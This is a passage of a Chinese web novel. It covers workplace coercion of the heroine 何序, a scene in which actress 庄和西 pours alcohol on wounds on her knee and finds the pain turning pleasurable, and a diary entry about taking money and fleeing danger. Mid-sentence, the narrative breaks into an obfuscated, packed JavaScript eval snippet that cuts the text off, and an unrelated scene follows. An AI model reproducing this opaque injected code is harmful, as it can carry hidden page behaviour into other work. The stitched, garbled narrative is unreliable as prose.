昝凡手在桌上点了点,戳向星期八的猫脸。 何序往后躲了一下,躲开Rue戳过来的手指。 Rue“嘶”一声,作势往何序手机屏幕上凑:“看什么呢?魂儿都被勾走了。” 何序锁屏,把剩下那点蛋筒尖塞进嘴里,嚼得咔咔脆,表示自己很忙,不能说话。 Rue瞪着眼睛唏嘘:“何序,你对自己岔话题的拙劣技巧,过于拙劣的技巧就没点什么想说的?” 何序摇了摇头。 Rue乐不可支地推她肩膀:“快去干活,别让Rogue有机会找你麻烦。” 何序应一声,从休息室出来时,和Rogue迎面撞上。 更准确的,Rogue在等她。 “跟我过来。”Rogue说。 何序原地站了两秒,打开手机录音。 Rogue把何序带到了自己办公室,里面窗户紧闭。 “转做酒推的事,你考虑怎么样了?”Rogue问。 何序:“考虑好了,不做。” Rogue:“那就降薪。” 何序:“所有人一起降,还是只有我降?” Rogue侧身坐在桌上,笑得很无赖:“你说呢?” 何序说:“你威胁我。” Rogue:“那又怎么样?路是你自己选的。” 何序:“我没得罪过你。” Rogue:“谁规定一定要得罪人,才会被为难?” 的确。 可也不是说路上好端端地走着,没踹狗,狗就会不分青红皂白咬上来。 除非那狗有毛病。 何序不犀利的眼睛盯看着Rogue:“你逼我是想我妥协就范,或者走投无路,这样你就能顺理成章拿捏我,和我发展一些上不了台面的关系。” Rogue惊讶于何序直白,也不装了,眼神一脏露出森白牙齿:“那你怎么想的?” 何序提了提口罩,说:“我想,果然有毛病的狗才会无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何序:【好。】 昝凡甩过来一串酒店地址,约何序明天上午九点见面。 地方有点远,据粉丝群里的小道消息所示,《山河无她》剧组在这附近集中武训。现在何序可以精准缩小武训范围——就在昝凡发过来的这家酒店。 也就是说,她明天有可能见到庄和西。 这个进展太猝不及防。 何序有点紧张地抓了一下手机,盯看屏幕几秒,切回到微博首页发动态,巩固形象。 【#庄和西# 老婆我爱你!!!我们长长久久/憧憬/憧憬/憧憬】 庄和西刚上线,按部就班把工作室整理好的九宫格和文案发出去。 “咚。” 功成身退的手机被随手扔在桌上。 庄和西站在桌边,左手勾着酒杯抿了一口,右手拿起桌上的签名笔咬开,签照片——她前阵子刚播完的那部剧授权了海外播映,需要大量签名照配合宣传。 照片是剧照。 里面的人坚韧独立,善于藏锋,也勇于反抗,很饱满的大女主形象,剧里拥有强大的精神内核,不断尝试突破时代施加给女性的枷锁,剧外影响粉丝,影响观众,口碑大爆,她的身价一涨再涨,成了有形的榜样,官媒私媒交口称赞。 可实际呢?人后呢? 潇洒飘逸的字迹写到一半戛然而止,金色线条从照片中央一直拉到餐桌上,鲜明又瘆人。 庄和西侧身坐下,酒在杯子里撞了撞,想被灌进嘴里。偏偏明天还有大量的枪术训练,主演喝得烂醉如泥,拖得不是一个人的进度,而是一整个团队的计划。 庄和西搭在桌边的右手垂着,食指压在笔身上缓慢地碾了碾,突然抬起,签字笔掉在地上。 “吧嗒——” 庄和西裤脚被划出一道难看的痕迹,她看不见似的注视着酒杯,片刻,翻手倾倒。琥珀色的液体立刻渗透裤子,打湿左膝。 她那里总是会莫名其妙出现很多小伤口,不疼不痒,没有存在感。 可也无论如何都阻止不了它们的出现。 像是一种提醒,一种你拼尽全力也扭转不了结局的无力和嘲讽。 呵。 此刻酒精渗入伤口带来强烈的刺痛。 她无动于衷地看着。 某一秒,忽然觉得浑身颤栗——开始缓和的痛感伴随着清晰的灼热,她整个膝盖湿淋淋的,像被湿热柔软的口腔紧紧包裹着一样,没有收起牙齿的吮吸让僵硬的肌肉开始软化,让紧绷的神经变得迟钝,于是痛感不再敏感,被灼烧着慢慢变成快.感。 荒诞。 疯狂。 上瘾。 **** 【何序的日记】 2021年6月8日,晴 一切准备就绪,明天去见庄和西。 还是希望她像Rue姐说的那样坏,好了,我会有负罪感。 我只想赚她的钱,不是真心要替她承担危险,相反的,危险发生的时候,我应该会毫不犹豫扔下她自己逃跑。 哈哈哈。 庄和西,少了那个真心保护你的人,你也会好好的吧? 你看起来就很好,没吃过苦,没遭过罪,一路顺风顺水,老天保佑。 我不一样,我没人保佑,要自己惜命。